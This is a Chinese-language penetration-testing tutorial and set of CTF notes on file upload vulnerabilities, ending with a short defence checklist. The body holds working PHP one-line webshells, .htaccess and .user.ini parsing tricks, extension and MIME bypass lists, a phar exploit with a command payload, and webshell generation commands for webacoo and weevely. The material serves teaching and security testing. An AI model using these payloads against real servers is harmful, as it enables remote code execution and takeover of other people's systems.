一、漏洞总述
文件上传漏洞属于OWASP 2021 A03 注入漏洞延伸高危漏洞,是Web渗透中利用率最高、拿权限最直接的漏洞。
不同于SQL、XSS这类参数注入,文件上传属于文件层级的代码注入:攻击者上传恶意脚本文件,被服务器解析器当作可执行代码运行,直接实现远程代码执行、Getshell、服务器接管。
核心本质:用户可控恶意文件,被服务器解析执行,数据与代码未隔离。
1.1 漏洞成立三大核心前提(缺一不可)
1.文件完全可控:用户可自定义文件内容、文件名、文件后缀,自主上传文件;
2.校验机制可被绕过:站点仅使用前端JS校验、后缀黑名单、简单文件头检测,无后端白名单、无二次渲染、无重命名;
3.上传目录可解析执行:文件上传目录拥有脚本执行权限,服务器可解析 php、jsp、asp 等脚本后缀。
1.2 底层原理
网站业务通常支持头像、附件、图片、素材上传,正常逻辑仅允许静态无害文件(jpg、png、gif、pdf)。
开发者为防止恶意脚本上传,大多采用简易黑名单防护,拦截常见脚本后缀,但防护逻辑存在缺陷:仅拦截明文后缀、仅前端校验、仅检测文件头,未做深层校验。
攻击者通过后缀变形、文件伪装、解析漏洞利用、截断绕过等方式,让服务器将恶意脚本判定为合法文件上传,最终被服务器解析执行,实现任意代码执行.
二、漏洞详情
寻找测试网站的文件上传的模块,常见 头像上传,修改上传,文件编辑器中文件上传,图片上传、媒体上传等,通过抓包上传恶意的文件进行测试,上传后缀名 asp php aspx 等的动态语言脚本,查看上传时的返回信息,判断是否能直接上传,如果不能直接上传,再进行测试上传突破,例如上传文件的时候只允许图片格式的后缀,但是修改文件时,却没有限制后缀名,图片文件可以修改成动态语言格式如 php,则可能访问这个文件的 URL 直接 getshell,可以控制网站。
思路
1.先上传图片马shell.jpg,之后改后缀尝试绕过。
2.尝试特殊解析漏洞:
php,php3,php4,php5,phtml.pht,
asp
asa
cdx
cer
aspx
ashx
jsp
php.a
shtml
大小写绕过:PHP,pHP; 点绕过:php.; 空格绕过:php空格;::$$DATA绕过:shell.php::$$DATA;双后缀:shell.phphpp;单循环绕过:shell.php. .;假文件名绕过:shell.php/.
3.发现不行,之后进行.htaccess绕过和.user.ini绕过
.htaccess绕过:
GIF89a
<FilesMatch “shell.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>
.user.ini绕过:
GIF89a
auto_prepend_file=shell.jpg
注:用蚁剑或菜刀链接实路径的shell.jpg改为index.php
记得将MIME的值改为image/jpeg
4.这里我只尝试了.htaccess发现可以,然后再次上传shell.jpg,发现文件内容有<?检测
php绕过(短标签绕过):<?=eval(POST[′cmd′]);?><?绕过:<scriptlanguage=′php′>@eval(POST[′cmd′]);?><?绕过:<scriptlanguage=′php′>@eval(_POST[“cmd”]);</script> 文件头绕过:在文件最前面写入GIF89a
这里使用<?绕过:<script language=‘php’>@eval($_POST[“cmd”]);</script> 进行绕过
5.用蚁剑链接,发现里面的flag文件为空,flag在phpinfo里面
js验证代码分析:
绕过方式:
1.去掉js对应代码或修改
2.bp剔除响应js:勾选
上传webshell,菜刀连接
一句话木马:
php<?php @eval($_POST['cmd']);?>MIME-Type绕过:(多用途互联网邮件拓展类型)
获取上传文件的type类型
绕过方式:
利用bp修改MIME_type类型绕过image/jpeg。因为Content-Type值是通过客户端传递的,可以任意修改的,所以上传一个.php文件时,在Burpsuite上将Content-Type的值修改为可以通过的就绕过了。
.user.ini绕过
知识点 : 文件上传 | .user.ini文件 | auto_prepend_file参数
- .user.ini文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。
- auto_prepend_file 是 PHP 配置选项之一,用于指定一个在每个 PHP 脚本执行前自动包含的文件。当 auto_prepend_file 配置启用后,PHP 在执行每个脚本之前会自动将指定的文件包含进来,作为脚本的一部分。这个文件可以包含一些通用的代码、函数、类或初始化操作,以便在每个脚本中都能自动执行。区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
- 因此,我们可以传入.user.ini文件,通过auto_prepend_file将含有一句话木马的文件名称包含到每个文件中。然后再上传该文件
- 根据题目名称:提示怎么多了个没用的php文件
- 同时根据题目描述:notion.php 是一个没啥用的php文件,不知道被设计出来是干什么的,出题人傻啦?
- 可以利用.user.ini文件
.user.ini 是⼀个⽤户⾃定义的php.ini ⽂件,会在其所在的当前⽬录⽣效,优先级⾼于php.ini 在user.ini中写⼊以下内容 auto_prepend_file = <filename> auto_append_file = <filename> 写⼊其中⼀个即可 //包含在⽂件头 //包含在⽂件尾 <filename>就写成需要包含的⽂件名,后缀任意 上传后,该⽬录下的php⽂件就会⾃动包含<filename>题解:
- 创建一个.user.ini文件,写入如下内容:
auto_prepend_file = 1.png - 上传一句话木马(1.png)
<?php @eval($_POST['x']); phpinfo(); ?>访问notion.php(本题,不适用其他题目)
htaccess文件绕过:
htaccess文件是apache服务器中的一个配置文件,负责相关目录下的网页配置
在apache中要启动htaccess,需要在http.conf设置AllowOverride All
若黑名单中没有过滤htaccess,则使用其上传,将SetHandler application/x-httpd-php写入.htaccess
.htaccess的利用
将下面的内容写入.htaccess
方法一
这里时是要包含所有文件带有1.png的文件(只要文件名里面有1.png),都会被当成php代码执行
<FilesMatch "1.png"> SetHandler application/x-httpd-php </FilesMatch>作用范围:只影响特定匹配的文件,这样配置后,只有文件名为 1.png 的文件会被当作PHP文件解析,其他文件不受影响。
.htaccess文件中的内容为:
SetHandler application/x-httpd-php
作用范围:影响所在目录及其子目录下的所有文件,这样配置后,/uploads 目录下的所有文件(包括 .jpg、.png、.txt 等)都会被当作PHP文件解析。
方法二
这种方法时,后面的.png或者.jpg文件能被当成php代码执行,如果想换成别的改扩展名就可以
AddType application/x-httpd-php .png
AddType application/x-httpd-php .jpg
制作图片phpinfo探针并上传:
<?php phpinfo(); ?>写入并保存为1.jpg,上传,复制文件地址,打开
phar协议和zip协议绕过:
第一步:构造phar包
生成phar文件脚本
php.ini中需要设置phar.readonly=Off才能生成
phar又作THIetadata以序列化形式存储,解析phar文件时会进行反序列化操作
<?php $phar = new Phar("exp.phar"); $phar->startBuffering(); $phar->setMetaData(new flag);//触发反序列化;以序列化的形式存储 $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->addFromString("test.php", '<?php eval($_REQUEST[8]);?>'); $phar->stopBuffering(); ?>创建shell.php 一句话木马
第二步:
把压缩成的shell.phar,改成shell.zip然后通过文件上传功能点上传
上传文件:
第三步:
访问网站
可以看到连接成功,接下来就是连接菜刀或者蚁剑。也可以直接输命令了。
payload:?bingdundun=phar://273df00f6d13b569a218fa09629ec81f.zip/shell.php&8=system("cat%20/fla*");
解析漏洞:
apache解析漏洞:
.apache文件解析规则:文件从右向左判断,后缀名不认识则继续识别,直到寻找到可以识别的文件名,如果都不能识别则暴露源码。则可以这样定义:1.php.qwe.asd绕过文件识别
IIS解析漏洞:
原理: IIS中建立.asa,.asp文件时,其目录下的所有文件都会被当成asp文件解析方法:在1.asp文件夹中放个1.txt文件,内容为<%=now()%>,则1.txt文件就会被当成脚本解析
Nginx解析漏洞方法:
在下面这个链接中,此时1.jpg会被当成1.php解析,但是3.php不存在,则可以在1.jpg中放php木马获得webshell
http://....../1.jpg/3.php
图片上传webshell:
不同文件二进制格式的前几个字节是不同的,而且是固定的
制作:新建一个1.jpg
GIF98A//表示图片文件 <?php phpinfo(); ?>上传:将制作好的图片webshell上传到服务器,可能会有MIME验证。修改image/gif会image/jpg符合当前类型
蚁剑连接不上,原因,只有在网站有文件包含漏洞的情况下才能使用图片马去搞webshell,不然就算图片上传成功了,也不会被服务器执行,是没有用滴!!
文件包含漏洞代码分析
<?php if($_GET){ include($_GET["file"]) }else{ echo"not get args file"; } ?>结合文件包含输出phpinfo
file.php?file=
一:准备图片马
需要用到DOS指令
Bash
copy 001.jpeg/b + test.php/a 2.jpg
AI写代码
这个指令的意思是,把001.jpeg和test.php合并到一起。很明显test.php就是webshell了
那么test.php里面的代码
<?php eval($_POST['yuer']); ?>
很明显,那个yuer就是我们的webshell密码。你可以改成你自己需要的。。。
然后打开CMD,切换到指定目录,合成之前是没有2.jpg的
好的,就会多出一个2.jpg...这就是图片马。
二:准备好我们的文件包含漏洞
文件有包含漏洞的php文件include.php,代码如下
<?php $file = $_GET['file']; include $file; ?>
这便是最简单的文件包含漏洞代码,那么这个漏洞是必须服务器端自带的,也就是说如果你要攻击的网站没有文件包含漏洞,图片马就是用不了的。
文件包含漏洞简单说就是,在这个include.php中需要引用其他应用程序,php中应用程序文件是.php也就是说,他本来想引用一个php文件,但是漏洞就是,他不会识别什么是php文件,只要是他引用的,他都当php来解析,所以如果他引用的是jpg,但是jpg中有图片马,那么他就相当于引用了图片马,同样的道理还会有zip马等等
这个具有文件包含漏洞的文件在这里。
三:上传图片马
成功上传图片马
然后我们先正常访问一下这个图片吧,因为我是本地搭建的服务器,所以我知道路径在哪里
可以看到图片是非常正常的,完全看不出有木马。
好,我们再用文件包含去访问一次这个图片,文件包含include.php在根目录里,然后呢.
四:菜刀链接,使用蚁剑连接(注意路径/upload/2d6c206b2ff5fbca96e57e03b62fcd5e/1.jpg)
这一步就比较经典了,你必须把图片用,包含漏洞的链接去连接
黑名单绕过:
后缀名绕过:
利用bp,intruder模块进行枚举后缀名,寻找黑名单没有过滤的后缀名,菜刀连接时修改回来
大小写绕过:
wins系统下,对文件名中大小写不敏感。Linux敏感。
直接修改后缀名PhP
webacoo上传webshell:
生成:webacoo -g -o a.php
上传webshell
连接webshell:webacoo -t -u webshell地址
空格绕过:
wins下,对于文件名中的空格作为空处理,程序中的检测代码不能自动删除空格
使用bp截断请求修改文件名结尾添加空格,trim函数去空格
.号绕过:
wins下,文件后缀名最后一个点会被自动去除
使用weevely生成webshell:
生成:weevely generate 密码 路径 文件名
上传
连接:weevely shell文件地址 密码
特殊符号:
wins下,若上传的文件名中test.php::$DATA会在服务器上生成一个test.php文件,上传内容相同
路径拼接:
上传1.php.空格.
去除点和空格后还剩下一个点,wins系统下自动去除最后一个点,上传成功1.php
双写绕过:
str_ireplace()函数替换字符串中的一些字符(不区分大小写)
写成phphpp
<?绕过
<script language='php'>@eval($_POST['cmd']);</script>- 启用 asp_tags:若asp_tags=On,可以使用<%和%>作为PHP标签,但该选项在PHP7中已移除,现代环境几乎不存在。
- <script language="php">标签:需要php.ini中启用,且通常也被限制。
- 利用文件包含或伪协议:若$code能控制其他函数(如include),但这里没有其他函数调用,只能依靠eval自身。
- 使用反引号或特殊字符:例如,如果服务器存在短标签<?=且short_open_tag=On,但?被删,同样无法构成。
00截断:
0x00在有些函数处理时,会把这个字符当作结束符,系统在对文件读取时,如果遇到0x00就会认为读取已结束
在php5.3之后的版本完全修复了00截断。并且00截断受限与GPC,addslashes函数,例如1.php.0x00.jpg
get型00截断
get型提交内容会被自动进行URL解码,注:一定要关闭GPC
在bp路径下加上1.php%00
post型00截断
在post请求中,%00不会被自动解码,需要在16进制中进行修改00
一句话代码执行webshell
使用php中的函数system执行GET提交的参数
<?php if($_GET){//不为空 $cmd=$_GET["cmd"]; system($cmd);//执行 }else{ echo"no cmd"; } ?>任意文件下载漏洞
形成原因:
一些网站的业务需求,提供的有文件下载的功能,这个时候考虑到代码的灵活性开发者会单
独写一个实现文件下载功能的文件,只需要传入一个文件名如果服务器存在该文件就可以下
载。但是如果没有对传入的这个文件名做限制,用户可以控制这个文件名,那么就有可能会
下载站点上的源码文件,配置文件等等,这个时候就形成了任意文件下载漏洞。
方法:
通过找到可控变量任意下载文件/flag
危害:
可以下载服务器任意的文件,如脚本代码,服务以及系统配置文件等等。可以下
载网站源代码进行白盒审计,发现其它web漏洞,如SQL注入,文件包含,XSS
等等。
三、标准化防御方案
1. 强制后端白名单校验(核心根治)
仅允许 jpg、png、gif、pdf 等业务需要的静态后缀,拒绝所有未知后缀,彻底杜绝黑名单绕过问题。
2. 抛弃前端校验,所有校验后端二次校验
前端校验仅做用户体验优化,不能作为安全防护,所有文件检测必须在后端完成。
3. 上传文件随机重命名
上传后抛弃用户自定义文件名,系统随机生成文件名+固定合法后缀,彻底杜绝后缀绕过、解析漏洞。
4. 上传目录禁用脚本执行权限
配置目录权限,上传目录仅允许存放静态资源,禁止解析php、jsp等脚本,即使上传木马也无法执行。
5. 图片文件二次渲染
对上传图片进行压缩、重绘二次渲染,破坏图片马中嵌入的恶意代码,让图片马失效。
6. 禁止用户控制文件路径与文件名
文件存储路径、文件名全部由服务端生成,杜绝路径拼接、后缀畸形绕过。